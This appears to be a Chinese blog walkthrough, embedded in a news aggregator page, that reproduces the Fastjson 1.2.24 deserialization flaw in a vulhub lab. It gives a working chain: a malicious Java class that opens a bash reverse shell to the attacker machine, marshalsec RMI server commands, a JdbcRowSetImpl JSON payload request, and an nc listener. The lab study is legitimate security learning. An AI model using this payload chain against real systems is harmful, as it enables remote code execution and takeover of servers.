最新要闻
- "战争机器"可能都不知道钢铁侠牺牲!真身早已被顶替
- 今日晚间黄金、白银、原油行情走势分析(7月28日)
- 黄渤主演!电影《热烈》豆瓣开分7.7分 岳云鹏:它真的很好看
- “世界最快”!一文了解AMD锐龙9 7945HX3D移动处理器:性能起飞了
- 华为Mate 60酷安热度第一:iPhone 15黯然失色
- 印度番茄价格暴涨6倍:有店老板怕被抢 雇保镖看店
- 广州城中村电费现状调查:电价降了房租涨了?有房东加收公摊费
- 合川区人民医院开展肝病义诊活动
- 永生真能实现?西伯利亚冻土中沉睡4.6万年的生物复苏!
- 电影《封神》30亿总成本是怎么花的?外景地近千亩
- 时隔12年 日本现存最老核电机组重启:有望运转60年
- 华为Mate 60系列大曝光:最关键信息都在这了
- 基差异动0728:豆油月间价差扩大26点
- 特斯拉FSD 12 Alpha即将上线 马斯克:激动人心
- “特斯拉杀手”出新车!Lucid Air蓝宝石版量产下线:三电机强过Model S
- 特斯拉神秘部门曝光:专门处理续航不足投诉
手机

英国房地产因利率上升陷入困境 房价正以2011年来最快速度下跌

宁夏评选出上半年10名“宁夏好人” 95后消防员因敬业奉献入选
- 英国房地产因利率上升陷入困境 房价正以2011年来最快速度下跌
- 宁夏评选出上半年10名“宁夏好人” 95后消防员因敬业奉献入选
- 离婚时共同债务应该怎么处理?
- 华为云盘古大模型3.0正式发布
- 支持自动长文生成,WPS AI发布:基于大语言模型的智能办公助手
- 《街头霸王6》全球总销量突破200万份 卡普空再次为其玩家送上礼物
家电
Fastjson1.2.24漏洞复现-基于vulhub漏洞平台(文件上传写入-反弹shell)
Fastjson1.2.24漏洞复现-基于vulhub漏洞平台
环境准备:
192.168.59.130 攻击机 window10
【资料图】
192.168.59.135 靶机centos8
声明:不涉及互联网上的资源,学习都在内网完成,一切皆用于学习记录,不可用于其他用途
环境准备:(自行baidu安装)可能环境准备比较折磨,问题会不断,慢慢来,有点耐心就行。
两台设备都安装1.8.0的jdk,python
window10:maven、marshalsec(反序列化环境)
centos8:安装docker 搭建vulhub靶场环境,要装docker-compose组件才能启动vulhub环境
我踩过的坑都在环境搭建,yum源用ali的吧,从本地到centos8的文件互传(xshell7),可以安装lszrz(应该是,忘了,可以查一下),尽可能用自己熟悉的Linux吧。
看了比较多文章,写的都挺好的。
明确一下复现原理:
被攻击者所在网站解析json时,没有对json的内容进行验证,就对json进行解析成java对象,然后去执行。攻击者可以构造对应的payload执行代码,去使被攻击者执行,达到代码执行或命令执行的目的,从而实现对被攻击者的安全测试。
1.文件上传
话不多说,开干!!!!
目前所有准备就绪
centos8目录结构:
[root@192 ~]# lltotal 198796-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gzdrwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsecdrwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub
cd vulhub/fastjson/1.2.24-rce/ 进入vulhub的fastjson1.2.24这个目录
docker-compose up -d启动漏洞环境
测试:
访问:http://IP:8090
我在攻击机的E盘下新建了一个名为java的文件夹,然后新建一个TouchFile.java文件,写入以下代码:
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success111111111"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}
在java路径下然后调出cmd命令行,直接回车,执行javac TouchFile.java,编译:
在Java的目录下的命令行中执行(要安装python,具体配置去baidu搜索):
python2 python -m SimpleHTTPServer 4444
python3 python3 -m http.server 4444
找到并进入marshalsec目录,直接cmd,启动RMI服务,监听9999端口并加载远程类TouchFile.class:
mvn clean package -DskipTests //有success,就成功了
然后会在marshalsec目录生成一个target目录,切换进去 发现生成了marshalsec-0.0.3-SNAPSHOT-all.jar:
cd target
开启rmi服务:这里的IP地址写攻击机开启http服务的地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/#TouchFile" 9999
打开burp suite抓包,然后刷新http://192.168.59.135:8090,开始转圈圈:
来到burp suite:
修改payload,把请求体中的GET改成POST:
主要payload是红色框框住的那块
Content-Type:application/json //表明这个是json代码
Content-Length:164
下面有
这是我构造的payload,我看了网上很多,放进去都不行,触发不了漏洞:
POST / HTTP/1.1Host: 192.168.59.135:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;enAccept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/jsonContent-Length: 164{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.59.130:9999/TouchFile", "autoCommit":true }}
效果:
查看rmi
查看docker容器
docker ps
docker exec -it 容器id /bin/bash
!!!!成功写入创建文件
2.反弹shell
其实配置差不多
目前所有准备就绪
centos8目录结构:
[root@192 ~]# lltotal 198796-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gzdrwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsecdrwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub
cd vulhub/fastjson/1.2.24-rce/ 进入vulhub的fastjson1.2.24这个目录
docker-compose up -d启动漏洞环境
测试:
访问:http://IP:8090
我在攻击机的E盘下新建了一个名为java的文件夹,然后新建一个TouchFile.java文件,写入以下代码:
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.59.130/2333 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}
在java路径下然后调出cmd命令行,直接回车,执行javac TouchFile.java,编译:
在Java的目录下的命令行中执行(要安装python,具体配置去baidu搜索):
python2 python -m SimpleHTTPServer 4444
python3 python3 -m http.server 4444
找到并进入marshalsec目录,直接cmd,启动RMI服务,监听9999端口并加载远程类TouchFile.class:
mvn clean package -DskipTests //有success,就成功了
然后会在marshalsec目录生成一个target目录,切换进去 发现生成了marshalsec-0.0.3-SNAPSHOT-all.jar:
cd target
开启rmi服务:这里的IP地址写攻击机开启http服务的地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/#TouchFile" 9999
不同点来了(安装ncat,或者nmap,可以自行baidu,很简单,无脑下一步就行)
监听2333端口
centos8的命令:nc -lvp 2333
由于我用的是window10(我安装的nmap)需要找到ncat.exe所在目录,否则无法运行nc:ncat.exe -lvp 2333
打开burp suite抓包,然后刷新http://192.168.59.135:8090
修改payload,把请求体中的GET改成POST
主要payload是红色框框住的那块
Content-Type:application/json //表明这个是json代码
Content-Length:164
下面有
依旧用这个payload,构造完点GO:
POST / HTTP/1.1Host: 192.168.59.135:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;enAccept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/jsonContent-Length: 164{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.59.130:9999/TouchFile", "autoCommit":true }}
看效果:
这个成功反弹shell,拿下!!!!!!!!
完活!结束了fastjson1.2.24漏洞复现
整一个流程下来,其实脉络很清晰了,就是通过构造payload去让被攻击机触发攻击机设计好的代码,大半天操作就想说这句话。
结束了
注:未经同意请勿转载,仅作学习使用。以上有描述不正确之处,望大家能不吝指出,共同学习共同进步。谢谢
关键词:
-
Fastjson1.2.24漏洞复现-基于vulhub漏洞平台(文件上传写入-反弹shell)
Fastjson1 2 24漏洞复现-基于vulhub漏洞平台环境准备:192 168 59 13
来源: -
-
-
Fastjson1.2.24漏洞复现-基于vulhub漏洞平台(文件上传写入-反弹shell)
信贷ABS发行提速 重庆信托发行AAA国际评级个人消费信贷ABS
"战争机器"可能都不知道钢铁侠牺牲!真身早已被顶替
今日晚间黄金、白银、原油行情走势分析(7月28日)
黄渤主演!电影《热烈》豆瓣开分7.7分 岳云鹏:它真的很好看
“世界最快”!一文了解AMD锐龙9 7945HX3D移动处理器:性能起飞了
华为Mate 60酷安热度第一:iPhone 15黯然失色
印度番茄价格暴涨6倍:有店老板怕被抢 雇保镖看店
广州城中村电费现状调查:电价降了房租涨了?有房东加收公摊费
【新华解读】优化供给扩大需求 这些举措助力轻工业稳增长
合川区人民医院开展肝病义诊活动
永生真能实现?西伯利亚冻土中沉睡4.6万年的生物复苏!
电影《封神》30亿总成本是怎么花的?外景地近千亩
时隔12年 日本现存最老核电机组重启:有望运转60年
华为Mate 60系列大曝光:最关键信息都在这了
iOS 应用上架的步骤和工具简介
iOS 应用上架的步骤和工具简介
基差异动0728:豆油月间价差扩大26点
上半年全国新增减税降费及退税缓费9279亿元
特斯拉FSD 12 Alpha即将上线 马斯克:激动人心
“特斯拉杀手”出新车!Lucid Air蓝宝石版量产下线:三电机强过Model S
特斯拉神秘部门曝光:专门处理续航不足投诉
特殊环境安全性是重点 电动自行车锂电池将有统一国家标准
合资中型轿车雪上加霜!长安启源A07更多官图发布:灰色真高级
快递量第一的金华明确了,依旧严防快递价格战
达梦备份恢复技术分享
工大科雅跌5.24% 2022年上市即巅峰募资7.7亿
苹果零件“序列化”加码:第三方屏幕将无法使用Apple Pencil
锐龙7 7840H+RTX 4060!联想拯救者R7000P 2023图赏
七彩虹、NVIDIA带你次元穿越:RTX 40系显卡游戏、AI通吃
迪丽热巴代言!力士香氛沐浴露大促:39.9元 洗澡是真滴香
别说增程不省油!深蓝S7极端工况实测:百公里耗油不到6升
南宁地铁一号线终点站是哪(南宁地铁一号线所有站点是哪些)
Python中json.load()和json.loads()的区别
python如何制作自己的模块
【全新升级】4.3寸彩屏可实时显示导航数据!
万达回应市场传闻称已完成美元债兑付
台风“杜苏芮”登陆后将北上 京津冀豫需警惕极端降雨影响
中国贸促会:超九成外企认为中国市场吸引力上升或持平
华为将推出盘古数字人大模型:帮助用户12小时完成数字人生成
特供中国内地!AMD RX 7900 GRE显卡图赏
宝马高速狂飙至180km/h!应急车道超车撞上三角牌 差点酿大祸
今年登革热病例或创新高!《自然》杂志指出罪魁祸首
《封神》第二部剧情曝光:妲己被册封 票房不足或上映无望
拉萨一起盗掘古文化遗址案3人被判刑 涉国家级文物
【环球财经】YCC政策调整为意料之中 东京股市两大股指下跌
闻“风”而动,潮州全力防御台风“杜苏芮”
电视盒子卖不出去了:销量暴降28% 第一名竟不是小米
黄疯蚁如此“疯狂” 竟是因为身上有两套DNA?
车队未经批准穿越保护区3死1失踪:专业人士分析事故成因
3000粉丝的博主 被长城起诉索赔200万元!当事人发声
年轻人的宝马碎梦 13万元的宝马1系正式停产
ST高升(000971)7月28日主力资金净买入350.51万元
下载外网容器镜像
项目播报 | 新基德携手璞华易研PLM,打造企业新一代研发管理平台
【买方投顾说】以客户需求为出发点 增加居民财产性收入——访中金财富总裁吴波
ChinaJoy 2023致态电竞房精彩不断
街边2块钱一根的“淀粉肠” 里面到底有多少肉?答案保证让你大吃一惊!
马斯克被曝亲自下令操纵仪表盘读数 夸大续航里程
到手的270多亿生意黄了 SSD主控一哥慧荣回应:收购需继续进行
高温不掉色 柔软还吸水:洁丽雅纯棉毛巾4条19.9元大促
最大风力15级!“杜苏芮”登陆福建晋江:高德地图上线台风实时路径
中国新疆首届“夏塔杯”马术40公里、80公里耐力赛昭苏站鸣锣开赛
日本央行承诺提高YCC目标灵活性 日债收益率周五大幅上涨
蛾摩拉行动八十周年祭
种发和植发有区别吗(tps1.0alpha04build0017和QQYL-install-1.08.0是什么有什么用)
@新虹企业白领,“家”门口的家庭医生工作室成立啦!
云南一医院设置野生毒菌展示柜 网友:在这上面的都别吃
美国最严排放标准或实施:汽车行业将“喜提”1000亿美元罚款
起诉抖音大V“车事纪” 索赔200万!蔚来胜诉:赔的钱全捐给慈善
23万你买吗?全新坦克300插混版实车曝光:纯电续航105公里 油耗不用担心了
索尼PS5 Slim被曝散热缩水!液金散热没了
水羊股份:2023年上半年净利润同比增长72.02%
日本央行宣布调整YCC政策 将灵活控制10年期国债收益率
强生消费者健康中国助力公众做好自我健康管理
9.2分国产神剧!《隐秘的角落》重制版上线
受台风杜苏芮影响多趟列车停运!官方推查询停运信息教程 可免费退票
联想小新Pad Pro 12.7配置揭晓:万年不变骁龙870 价格有惊喜
549元 米家筋膜枪2上架:双态3档热敷 续航达30天
“怕上火 就贴王老吉” 新能源车主为防晒使出神级改装
教育部实施国家优秀中小学教师培养计划
操作系统、人工智能、芯片和其它
MegEngine Python 层模块串讲(中)
直播平台源码开发提高直播质量的关键:视频编码和解码技术
数字化时代的农业新篇章
极品墨玉不透光
中国电池企业装机量排名:宁德时代、比亚迪太猛 吃下超7成市场
“杜苏芮”台风登陆福建晋江:福建史上第二强台风 直插内陆地区
审美真在线!比亚迪B级纯电猎装SUV宋L谍照曝光:20万或卖爆
微信等多平台已把“帐号”改为“账号”:两字用法不同 极易混淆
第6号台风卡努生成 专家:台风登陆时最好别开空调
发现最美铁路:一路欢歌看草原
九黎城NPC神秘故事解读蚩尤手下美女可爱兽人风祖大神等你来揭秘
全国首部涉融资租赁行业的地方法规出炉
倍杰特07月27日获深股通增持17.69万股
麻辣鸡加盟《使命召唤》
理想L8为啥会加不进油?官方回应加油跳枪:高压油箱的锅 解锁就行了
伺候过女王的路虎 终于知道怎么在中国卖车了
特斯拉被曝有一秘密团队 专门压制续航不足相关投诉
999元起 荣耀平板X8 Pro开售:11.5寸120Hz 2K屏